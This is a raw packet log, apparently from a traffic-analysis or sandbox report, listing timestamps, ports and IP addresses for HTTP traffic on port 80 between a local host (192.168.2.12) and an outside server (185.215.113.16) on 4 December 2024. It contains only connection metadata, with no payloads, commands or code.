Dec 4, 2024 16:11:00.638813972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.638828993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.638864994 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.639924049 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.639938116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.639969110 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.641180038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.641201973 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.641227961 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.642155886 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.642195940 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.642322063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.643229961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.643332958 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.643548012 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.644326925 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.644368887 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.644490004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.645649910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.645694017 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.645867109 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.646542072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.646584034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.647578001 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.763587952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.763736963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.763796091 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.764345884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.764367104 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.764409065 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.765153885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.765480042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.765537977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.766310930 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.784640074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.784662008 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.784676075 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.784689903 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.784699917 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.784751892 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.785847902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.785902023 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.786005974 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.787023067 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.787038088 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.787071943 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.787772894 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.787822008 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.788062096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.788839102 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.788887024 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.789011955 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.790143967 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.790229082 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.790312052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.791404009 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.791419983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.791477919 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.792330027 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.792342901 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.792406082 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.793243885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.793334007 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.793410063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.794411898 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.794469118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.794550896 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.795600891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.795658112 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.795752048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.796681881 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.796746016 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.796838045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.797756910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.797811031 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.797920942 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.798909903 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.798923969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.798974037 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.800146103 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.800201893 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.800302029 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.801249027 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.801261902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.801331043 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.802371025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.802458048 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.802541018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.803508043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.803597927 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.803659916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.804595947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.804656029 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.804752111 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.805702925 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.805788040 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.805994987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.806813955 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.806828022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.806924105 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.807909966 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.807975054 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.808206081 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.809016943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.809122086 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.809151888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.810281038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.810324907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.810444117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.811449051 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.811507940 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.811618090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.812359095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.812408924 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.812511921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.813616991 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.813631058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.813661098 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.814799070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.814867973 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.814965010 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.815882921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.815901041 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.815932035 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.816848993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.816895962 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.816984892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.818006992 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.818068981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.818156004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.819233894 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.819291115 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.819408894 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.820456982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.820476055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.820512056 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.821372032 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.821445942 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.821561098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.822391033 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.822441101 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.822499990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.823514938 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.823569059 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.823579073 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.826523066 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.826535940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.826565981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.826580048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.826592922 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.826632977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.827016115 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.827064037 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.827203989 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.828290939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.828305006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.828339100 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.829240084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.829282045 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.829508066 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.830956936 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.831041098 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.831131935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.832056046 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.832068920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.832107067 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.832782030 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.833132982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.833146095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.833193064 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.833918095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.833981037 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.834208012 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.834986925 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.835031986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.835140944 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.836179972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.836194038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.836261034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.837277889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.837356091 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.837418079 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.838390112 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.838452101 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.838558912 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.839567900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.839659929 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.843394041 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.955854893 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.955913067 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.955971003 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.956409931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.956736088 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.956779957 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.957524061 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.957952976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.958026886 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.958036900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.976291895 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.976352930 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.976353884 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.976838112 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.976878881 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.976908922 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.977972031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.977996111 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.978010893 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.979139090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.979178905 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.979190111 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.980302095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.980354071 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.980379105 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.981220961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.981275082 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.981395006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.982454062 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.982503891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.982518911 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.983468056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.983520985 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.983648062 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.984608889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.984621048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.984654903 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.985677958 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.985734940 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.985795021 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.986953020 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.986990929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.987040997 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.987936020 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.988013983 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.988046885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.989068031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.989130020 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.989140034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.990206003 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.990262985 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.990289927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.991337061 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.991386890 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.991422892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.992474079 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.992527008 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.992553949 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.993575096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.993626118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.993906021 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.994723082 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.994822979 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.994846106 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.995841980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.995904922 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.995939016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.996972084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.997011900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.997016907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.998081923 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.998131990 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.998205900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.999238014 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.999284029 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.999356985 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.000802994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.000874043 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.001034975 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.002312899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.002367973 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.002382994 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.003326893 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.003407955 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.003468037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.004339933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.004400015 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.004421949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.005367041 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.005419016 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.005451918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.006145000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.006191969 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.006215096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.007193089 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.007256985 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.007356882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.008300066 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.008349895 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.008429050 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.009313107 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.009386063 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.009424925 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.010452986 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.010509968 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.010514975 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.011799097 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.011857986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.012119055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.012975931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.012989044 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.013045073 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.014178038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.014240026 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.014359951 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.015376091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.015471935 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.015501976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.016464949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.016508102 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.016518116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.017466068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.017482996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.017524958 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.019277096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.019340992 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.019474983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.019953966 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.020351887 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.020400047 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.020459890 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.021301031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.021344900 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.021348000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.022315025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.022366047 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.022387981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.023236990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.023289919 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.023391008 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.024419069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.024455070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.024480104 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.025317907 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.025367975 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.025615931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.026453972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.026494026 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.026546001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.027340889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.027412891 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.027446032 CET	80	49724	185.215.113.16	192.168.2.12
